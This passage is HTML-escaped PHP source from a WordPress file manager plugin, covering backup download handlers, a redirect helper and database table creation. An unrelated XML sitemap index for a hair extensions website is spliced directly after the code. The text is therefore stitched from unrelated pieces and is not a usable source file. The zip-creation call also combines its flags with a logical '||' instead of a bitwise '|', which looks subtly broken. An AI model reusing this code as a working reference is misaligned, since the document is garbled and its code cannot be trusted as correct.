                        header(&#039;Last-Modified: &#039; . gmdate(&#039;D, d M Y H:i:s&#039;, filemtime($file)) . &#039; GMT&#039;);
                        header(&quot;Etag: &quot;.$etag);
                        header(&#039;Content-Type: application/force-download&#039;);
                        header(&#039;Content-Disposition: inline; filename=&quot;&#039;.$bkpName.&#039;&quot;&#039;);
                        header(&#039;Content-Transfer-Encoding: binary&#039;);
                        header(&#039;Content-Length: &#039; . filesize($file));
                        header(&#039;Connection: close&#039;);
                        if(ob_get_level()){
                            ob_end_clean();
                        }
                        readfile($file);
                        exit();
                    }
                    else{
                        $messg = __( &#039;File doesn\&#039;t exist to download.&#039;, &#039;wp-file-manager-pro&#039;);
                        return new WP_Error( &#039;fm_file_exist&#039;, $messg, array( &#039;status&#039; =&gt; 404 ) );
                    }
                }
                else {
                    $messg = __( &#039;Invalid Security Code.&#039;, &#039;wp-file-manager-pro&#039;);
                    return new WP_Error( &#039;fm_security_issue&#039;, $messg, array( &#039;status&#039; =&gt; 404 ) );
                }
            }
            if(!isset($params[&quot;backup_id&quot;])){
                $messg1 = __( &#039;Missing backup id.&#039;, &#039;wp-file-manager-pro&#039;);
                return new WP_Error( &#039;fm_missing_params&#039;, $messg1, array( &#039;status&#039; =&gt; 401 ) );
            } elseif(!isset($params[&quot;type&quot;])){
                $messg2 = __( &#039;Missing parameter type.&#039;, &#039;wp-file-manager-pro&#039;);
                return new WP_Error( &#039;fm_missing_params&#039;, $messg2, array( &#039;status&#039; =&gt; 401 ) );
            } else {
                $messg4 = __( &#039;Missing required parameters.&#039;, &#039;wp-file-manager-pro&#039;);
                return new WP_Error( &#039;fm_missing_params&#039;, $messg4, array( &#039;status&#039; =&gt; 401 ) );
            }
        }

        /**
         * Function to download all backup zip in one
         */

        public function fm_download_backup_all($request){
            $params = $request-&gt;get_params();
            $backup_id = isset($params[&quot;backup_id&quot;]) ? trim($params[&quot;backup_id&quot;]) : &#039;&#039;;
            $type = isset($params[&quot;type&quot;]) ? trim($params[&quot;type&quot;]) : &#039;&#039;;
            $all = isset($params[&quot;all&quot;]) ? trim($params[&quot;all&quot;]) : &#039;&#039;;
            if(!empty($backup_id) &amp;&amp; !empty($type) &amp;&amp; !empty($all)){
                $id = (int) base64_decode(trim($params[&quot;backup_id&quot;]));
                $type = base64_decode(trim($params[&quot;type&quot;]));
                $fmkey = self::fm_get_key();
                if(base64_encode(site_url().$fmkey) === $params[&#039;key&#039;]){
                    global $wpdb;
                    $upload_dir = wp_upload_dir();
                    $backup = $wpdb-&gt;get_var(
                        $wpdb-&gt;prepare(&quot;select backup_name from &quot;.$wpdb-&gt;prefix.&quot;wpfm_backup where id=%d&quot;,$id)
                    );
                    
                    $backup_dirname = $upload_dir[&#039;basedir&#039;].&#039;/wp-file-manager-pro/fm_backup/&#039;;
                    $dir_list = scandir($backup_dirname, 1);
                    $zip = new ZipArchive(); 
                    $zip_name = $backup.&quot;-all.zip&quot;; 
                    if ($zip-&gt;open($zip_name, ZIPARCHIVE::CREATE  || ZipArchive::OVERWRITE) === true) {
                    foreach($dir_list as $key =&gt; $file_name){
                        $ext = pathinfo($file_name, PATHINFO_EXTENSION);
                        if($file_name != &#039;.&#039; &amp;&amp; $file_name != &#039;..&#039; &amp;&amp; (is_dir($backup_dirname.&#039;/&#039;.$file_name) || $ext == &#039;zip&#039; || $ext == &#039;gz&#039;) ){
                          
                                if(strpos($file_name,$backup) !== false ){
                                    $source_file = $backup_dirname.$dir_list[$key];
                                    $source_file = str_replace(&#039;\\&#039;, &#039;/&#039;, realpath($source_file));
                                    $zip-&gt;addFromString(basename($source_file), file_get_contents($source_file));
                                  
                                }
                            }
                        }
                    }
              
                    $zip-&gt;close();
                    if(file_exists($zip_name)){
                        //Set Headers:
                        $memory_limit = intval( ini_get( &#039;memory_limit&#039; ) );
                        if ( ! extension_loaded( &#039;suhosin&#039; ) &amp;&amp; $memory_limit &lt; 512 ) {
                            @ini_set( &#039;memory_limit&#039;, &#039;1024M&#039; );
                        }
                        @ini_set( &#039;max_execution_time&#039;, 6000 );
                        @ini_set( &#039;max_input_vars&#039;, 10000 );
                        $etag = md5_file($zip_name);
                        header(&#039;Pragma: public&#039;);
                        header(&#039;Expires: 0&#039;);
                        header(&#039;Cache-Control: must-revalidate, post-check=0, pre-check=0&#039;);
                        header(&#039;Last-Modified: &#039; . gmdate(&#039;D, d M Y H:i:s&#039;, filemtime($zip_name)) . &#039; GMT&#039;);
                        header(&quot;Etag: &quot;.$etag);
                        header(&#039;Content-Type: application/force-download&#039;);
                        header(&#039;Content-Disposition: inline; filename=&quot;&#039;.$zip_name.&#039;&quot;&#039;);
                        header(&#039;Content-Transfer-Encoding: binary&#039;);
                        header(&#039;Content-Length: &#039; . filesize($zip_name));
                        header(&#039;Connection: close&#039;);
                        if(ob_get_level()){
                            ob_end_clean();
                        }
                        readfile($zip_name);
                        unlink($zip_name);
                        exit();
                    }
                    else{
                        $messg = __( &#039;File doesn\&#039;t exist to download.&#039;, &#039;wp-file-manager-pro&#039;);
                        return new WP_Error( &#039;fm_file_exist&#039;, $messg, array( &#039;status&#039; =&gt; 404 ) );
                    }
                }
                else {
                    $messg = __( &#039;Invalid Security Code.&#039;, &#039;wp-file-manager-pro&#039;);
                    return new WP_Error( &#039;fm_security_issue&#039;, $messg, array( &#039;status&#039; =&gt; 404 ) );
                }
            }
            if(!isset($params[&quot;backup_id&quot;])){
                $messg1 = __( &#039;Missing backup id.&#039;, &#039;wp-file-manager-pro&#039;);
                return new WP_Error( &#039;fm_missing_params&#039;, $messg1, array( &#039;status&#039; =&gt; 401 ) );
            } elseif(!isset($params[&quot;type&quot;])){
                $messg2 = __( &#039;Missing parameter type.&#039;, &#039;wp-file-manager-pro&#039;);
                return new WP_Error( &#039;fm_missing_params&#039;, $messg2, array( &#039;status&#039; =&gt; 401 ) );
            } else {
                $messg4 = __( &#039;Missing required parameters.&#039;, &#039;wp-file-manager-pro&#039;);
                return new WP_Error( &#039;fm_missing_params&#039;, $messg4, array( &#039;status&#039; =&gt; 401 ) );
            }
        }

        /*
        * Redirection
        */
        public static function mk_fm_redirect($url){
            $url= esc_url_raw($url);
            wp_register_script( &#039;mk-fm-redirect&#039;, &#039;&#039;, array(&quot;jquery&quot;));
            wp_enqueue_script( &#039;mk-fm-redirect&#039; );
            wp_add_inline_script(&#039;mk-fm-redirect&#039;,&#039;window.location.href=&quot;&#039;.$url.&#039;&quot;&#039;);
        }

    }
    $filemanager = new mk_file_folder_manager();
    global $filemanager;
    /* end class */
endif;

if(!function_exists(&#039;mk_file_folder_manager_wp_fm_create_tables&#039;)) {
	function mk_file_folder_manager_wp_fm_create_tables(){
		global $wpdb;
		$table_name = $wpdb-&gt;prefix . &#039;wpfm_backup&#039;;
		require_once( ABSPATH . &#039;wp-admin/includes/upgrade.php&#039; );
		if($wpdb-&gt;get_var(&quot;SHOW TABLES LIKE &#039;$table_name&#039;&quot;) != $table_name) {
			$charset_collate = $wpdb-&gt;get_charset_collate();
			$sql = &quot;CREATE TABLE &quot;.$table_name.&quot; (
                    id int(11) NOT NULL AUTO_INCREMENT,
                    backup_name text NULL,
                    backup_date text NULL,
                    PRIMARY KEY  (id)
                ) $charset_collate;&quot;;
			dbDelta( $sql );
		}
	}
}

if(!function_exists(&#039;mk_file_folder_manager_create_tables&#039;)){
	function mk_file_folder_manager_create_tables(){
		if ( is_multisite() ) {
			global $wpdb;
			// Get all blogs in the network and activate plugin on each one
			$blog_ids = $wpdb-&gt;get_col( &quot;SELECT blog_id FROM $wpdb-&gt;blogs&quot; );
			foreach ( $blog_ids as $blog_id ) {
				switch_to_blog( $blog_id );
				mk_file_folder_manager_wp_fm_create_tables();
				restore_current_blog();
			}
		} else {
			mk_file_folder_manager_wp_fm_create_tables();
		}
	}
}

register_activation_hook( __FILE__, &#039;mk_file_folder_manager_create_tables&#039; );
<?xml version="1.0" encoding="UTF-8"?>
<!-- This sitemap was dynamically generated on October 13, 2026 at 4:55 pm by All in One SEO Pro v4.6.3 - the original SEO plugin for WordPress. -->

<?xml-stylesheet type="text/xsl" href="https://polishedcrownextensions.com/default-sitemap.xsl?sitemap=root"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc><![CDATA[https://polishedcrownextensions.com/post-sitemap.xml]]></loc>
		<lastmod><![CDATA[2016-09-13T12:31:06+00:00]]></lastmod>
	</sitemap>
	<sitemap>
		<loc><![CDATA[https://polishedcrownextensions.com/page-sitemap.xml]]></loc>
		<lastmod><![CDATA[2024-04-10T10:25:04+00:00]]></lastmod>
	</sitemap>
	<sitemap>
		<loc><![CDATA[https://polishedcrownextensions.com/cctor_coupon-sitemap.xml]]></loc>
		<lastmod><![CDATA[2016-09-13T15:45:45+00:00]]></lastmod>
	</sitemap>
	<sitemap>
		<loc><![CDATA[https://polishedcrownextensions.com/ec_store-sitemap.xml]]></loc>
		<lastmod><![CDATA[2020-04-20T15:02:47+00:00]]></lastmod>
	</sitemap>
	<sitemap>
		<loc><![CDATA[https://polishedcrownextensions.com/bwg_gallery-sitemap.xml]]></loc>
		<lastmod><![CDATA[2023-07-12T16:40:10+00:00]]></lastmod>
	</sitemap>
	<sitemap>
		<loc><![CDATA[https://polishedcrownextensions.com/bwg_share-sitemap.xml]]></loc>
		<lastmod><![CDATA[2023-07-12T16:41:28+00:00]]></lastmod>
	</sitemap>
	<sitemap>
		<loc><![CDATA[https://polishedcrownextensions.com/category-sitemap.xml]]></loc>
		<lastmod><![CDATA[2026-10-08T10:06:29+00:00]]></lastmod>
	</sitemap>
	<sitemap>
		<loc><![CDATA[https://polishedcrownextensions.com/author-sitemap.xml]]></loc>
		<lastmod><![CDATA[2024-04-10T10:25:04+00:00]]></lastmod>
	</sitemap>
	<sitemap>
		<loc><![CDATA[https://polishedcrownextensions.com/date-sitemap.xml]]></loc>
		<lastmod><![CDATA[2024-04-10T10:25:04+00:00]]></lastmod>
	</sitemap>
</sitemapindex>
